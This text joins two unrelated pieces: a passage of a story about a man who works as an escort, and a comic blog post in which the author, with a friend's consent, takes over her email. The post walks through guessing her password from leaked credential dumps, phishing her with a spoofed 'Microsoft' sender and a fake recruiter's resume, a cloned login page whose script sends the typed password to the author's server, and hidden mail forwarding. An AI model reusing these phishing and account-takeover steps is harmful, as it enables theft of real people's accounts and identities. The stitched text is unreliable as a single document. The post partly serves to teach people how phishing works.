They chatted while filing paperwork. They talked about politics, racial issues, economic issues, and the like. Claudia made for good company. She graduated with two degrees. She majored in English Education and Journalism and worked as a teacher’s aide for a period. She was tired of the work with virtually no pay. She responded to an add. Currently she works for a phone sex. One has seen the commercials late at night. She’s one of them. Definitely more conventional than Oliver’s current job.
As he was getting ready to eat lunch, she Claudia asked him if he wanted to eat while they worked. “Sure” he said as he went to grab his lunch out of his bag.
“We work with several schools in their special ed departments”
“What do y’all do?”
”We will be finalizing contracts for events mainly. But we do outreach and after school programs on social etiquette and speech practices our goal is to help those with autism be as integrated into society as possible” Noticing Oliver’s garden salad, she asked him “you health conscious?”
“Yep. Grew up like that. My parent’s rarely fried anything, but they didn’t ban them from the house. My mom was always big on vitamins and drinking plenty of water. I practice that today, to keep things under control. Being a diabetic, I have to watch it.”
Shocked at the revelation she asked him when he was diagnosed. He was diagnosed at 6 years old.
“I’m trying to lose weight, but I find myself emotionally eating more than I should”
Trying to avoid saying anything that could be interpreted as offensive, he simply said that he had his days too, hence the reason he goes to the gym six days/week, doing a combination of cardio and weights. After they finished eating lunch, they cut more construction paper and bagged it. They filed folders away for about an hour when Oliver signed out.”See you tomorrow?”
“You’ll see me in a couple of hours.”
The sun was beaming as Oliver drove home. He rolled down his window and plugged his phone in to have some music playing. He checked the mail and saw the electric bill was in. “Shouldn’t be this much” he said “I’m never home”
He checked his email as well as his escorting profile receiving three request including one overnight stay. Booking these trips back to back, he thought about his weekly check at $8.75/hr at 25 hrs per week along w/ the money from the three client’s that he’d earn. He’d have enough to pay his final payment on his only student loan and to pay his car note.
He kicked off his shoes to give his feet some air and called his mom.
[I’m being nice. This place is a shithole, in fact the only reason my unit isn’t laden with roaches is because I frequently buy those foggers and then I have to open the damn windows and door risking my shit being stolen. Also, Bengal and Boric Acid along the cracks and corners have done wonders.]
He looked up and realized that it was time to meet Claudia. He traded in his work outfit for a pair or black cargo shorts, a zero-nineteen tank top from K-Mart, and a pair of flip-flops and headed out. He got in the truck, turned the air on and arrived to the bar 20 minutes later. Locating Claudia at a table in the bar area we walked in to meet her when the waiter took their drink order.
[She’s a pharmacy tech and she still needs to be a lady of the evening by night? I’m fucked-literally and figuratively]
She advised him to update his profile to include massages and casual dates at a lower rate. While they were talking, A woman walks up, dark skin, about 5′9, in her mid 20s. She spotted Claudia and walked in the sit next to her.
“Hey chick!”
“Hey!”
“Hello, I’m Aya, how are your doing?” she said as she reached out to shake Oliver’s hand
“Oliver, I’m good. How about you?”
“So this is the guy? He’s cute”
“He’s taken”
“Actually I’m very available”
After ordering a drink, she begin to explain to Oliver how she got into her current part time job. “I started off escorting however a client of mine introduced me to a coworker of his that owned a matchmaking service. I showed up to a mixer I went out on one date. I never saw the guy again afterwards. That said, he did mention to me that he had utilized services where one would rent a dates for events. I eventually branched off and begin advertising on craigslist and the like.”
“So do you still...….you know?”
“Sporadically, but that’ll cost extra.”
Later that night, he decided to update his profile w/ additional services offered. He decided to try out a couple of speed dating events himself. He might even snap a client or two. Perhaps, he’d been looking in the wrong places, maybe it was time for more upscale social functions. His current evening work was not a glamorous job and frankly it was quite dangerous.
[Prostitution can be traced back as far as biblical times. Not a new profession and it’s a profession that’s always been available for the money. Sometimes, we use it to pay off a loan or some sort of debt. For others, it’s the love of sex. Some just like the temporary luxury that comes with being one’s bitch. Me? I’d like nothing more than to settle down. I know there’s a way. It may take a while to find it, but I refuse to have THIS be my stop.]
STORY SYNOPSIS
CHARACTERS
PART 4 TO FOLLOW
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Operation Luigi: How I hacked my friend without her noticing
This blog has moved! This post and other mistakes are now at https://mango.pdf.zone
Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.
Several months ago
I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.
I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:
I'll start some time in the next 12 months
No deleting anything she has
No disrupting her daily life
Stop asking if she's sure it's okay
Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.
I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.
And uh also at the end Mario's green friend is there.
Part 1: Research
"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this
Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.
Jeez we're gonna need to know her email address aren't we?
People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.
The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo
[x] email address [ ] the respect of my peers
Does she use this email for Twitter?
Yep.
How about her phone number?
I type a bunch of extremely clumsy things into Google. I'm talkin' "[email protected] phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.
There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at [email protected] or [her phone number]". pew pew got 'em.
[x] email [x] phone number [ ] the respect of my peers
Storing the goods
I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.
While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.
Let's try getting into her iCloud account
Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.
I don't really have a good reason for going after iCloud, so if you could just give me a break for one second
If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.
I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.
I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."
There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:
Daaaaaaaaaaaaaaaammmmit.
I have taken the wrong path in this text adventure game.
I've just notified Diana that someone's trying to reset her account.
For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."
There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.
Several days later
My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.
"Hello?"
"Hi, who am I talking to?"
"It's uh Alex."
"Alex?"
"Yeah."
"Alex ``?"
"Uh, noooo it's-"
"Ohhhhhhhhhhhhh."
"Wait so who am I talking to?"
It's Diana.
"What's up?", I ask.
She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.
I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"
She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.
We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.
Before I hang up, I wanna show off my work so far.
"Hey Diana, one more thing"
"Yeah?"
"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.
Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.
"Can you like, find all the accounts I had on all those game websites?"
Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.
"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"
Part 2: Hackinggggg
At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.
But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.
For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7
I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.
The shady password market
Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.
But.... nowhere does it say you have to type in your email address. Cunningly, I type [email protected], executing hacking.
Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.
Let's get the old Tumblr database
I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.
...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.
Ancient forbidden password rituals
The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:
[email protected]:3a1920ceb2791d034973c899907847cb58810808
That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.
My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".
These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.
Finding the salt
There's no official information on what kind of hashes are in Tumblr.txt.
The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.
I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.
But I can't find it because fun fact I'm a total fraud.
Can I get the password... without the salt?
So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?
The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:
[email protected]:cooldad64HNc62V8 [email protected]:cooldad64HNc62V8 [email protected]:p@triots69HNc62V8 [email protected]:Bongo1HNc62V8
I search Tumblr.txt for not [email protected], but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)
I find more than 20 Tumblr users with the same password as Diana aw yeah
[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…
This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.
But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.
I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.
Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?
LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.
I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.
[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1
More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)
This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.
I try to log in to her Hotmail account with the password qwerty1.
"Incorrect password"
Wait please this was supposed to be easy please no why is it like this don't do this to me
Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.
Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.
I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.
On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.
Looks like I just missed out. The plot thickens audibly.
This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.
Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".
Part 3: Hackinggggg (again)
Social engineering
Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.
To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.
You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.
Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.
Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"
But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.
Hand-crafting artisanal phishing emails to sell at the Sunday markets
Let's write down what we want to do:
Get Diana's email password
Don't let her realise that the email is not legit
Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm
So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.
The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".
But of course, you log in to a fake website which steals your password.
Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.
I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".
Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.
I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.
Now it looks like this:
I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "[email protected]". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".
I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.
Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:
οo
Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.
So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.
I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.
How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.
I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.
Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.
I copy the existing login.live.com page, and pre-fill [email protected] in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.
Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.
https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin
Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).
Here's what the login page does:
// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }
This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.
This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.
I login to my fake "Microsoft Account Team" hotmail account, send the email to [email protected] and wait for her to have herself a red-hot browse.
About 12 hours later, I check my logs to see if she's typed her password.
She doesn't.
I wait another 12 hours.
Still nothing.
I send the email again, wincing slightly, this time saying she has 24 hours.
Still nothing.
Well damn
I guess that didn't work. She must have just ignored the email as uninteresting18
I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.
Sniper scope targeted phishing blap blap
I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.
This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.
I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.
I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.
Let's play: who's gonna send this doc to Diana?
I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.
I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.
Here's what Kathleen is going to email Diana.
Looks legit riiiight?
The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".
I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.
At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.
The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.
When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks
She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.
Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.
I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.
Waiting
That night, I check my website's logs for any passwords from my fake Hotmail login form.
- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"
"Got it!"
..... is what I think, at first.
Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.
This is not her Hotmail password, and everything is terrible.
From this we can draw two conclusions:
Diana doesn't know what her Hotmail password is
She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked
I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.
By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.
I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.
My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.
What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.
I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.
Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.
I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.
Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.
Hours later
It works.
108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"
I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.
I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.
The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.
Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.
"But that would never work on me"
It would tho.
Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."
The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.
I guess what I'm saying here is "don't go shaming phishing victims plz".
Anyway sorry back to haͅck͐i̥n̏g̜
Part 4: HACKER VOICE I'M IN
I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.
The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.
In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.
I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.
An interlude from Diana
Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.
Diana doesn't reply.
Hey remember how you can search email?
Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.
Try going to your email and searching for "password". Betcha there's passwords in there.
In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.
This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.
To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order
Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.
Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.
I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.
At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".
I panic a little. Have I been found out? I log in to [email protected] (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to [email protected] (presumably the new email that Diana now forwards all her mail to).
This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?
(When I interview her after all this, she says yes, that's exactly what she did.)
What now?
Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.
But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called
Operation Luigi
Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.
Why not brighten up YOUR social media presence with this game boy?
Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.
Step 1: Get in to her Twitter and LinkedIn
So, I want to:
Get access to Diana's Twitter
Not lock Diana out
Not alert Diana that I'm up in her stuff
I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.
Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.
I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.
Wait until Diana is asleep
Disable Diana's email forwarding
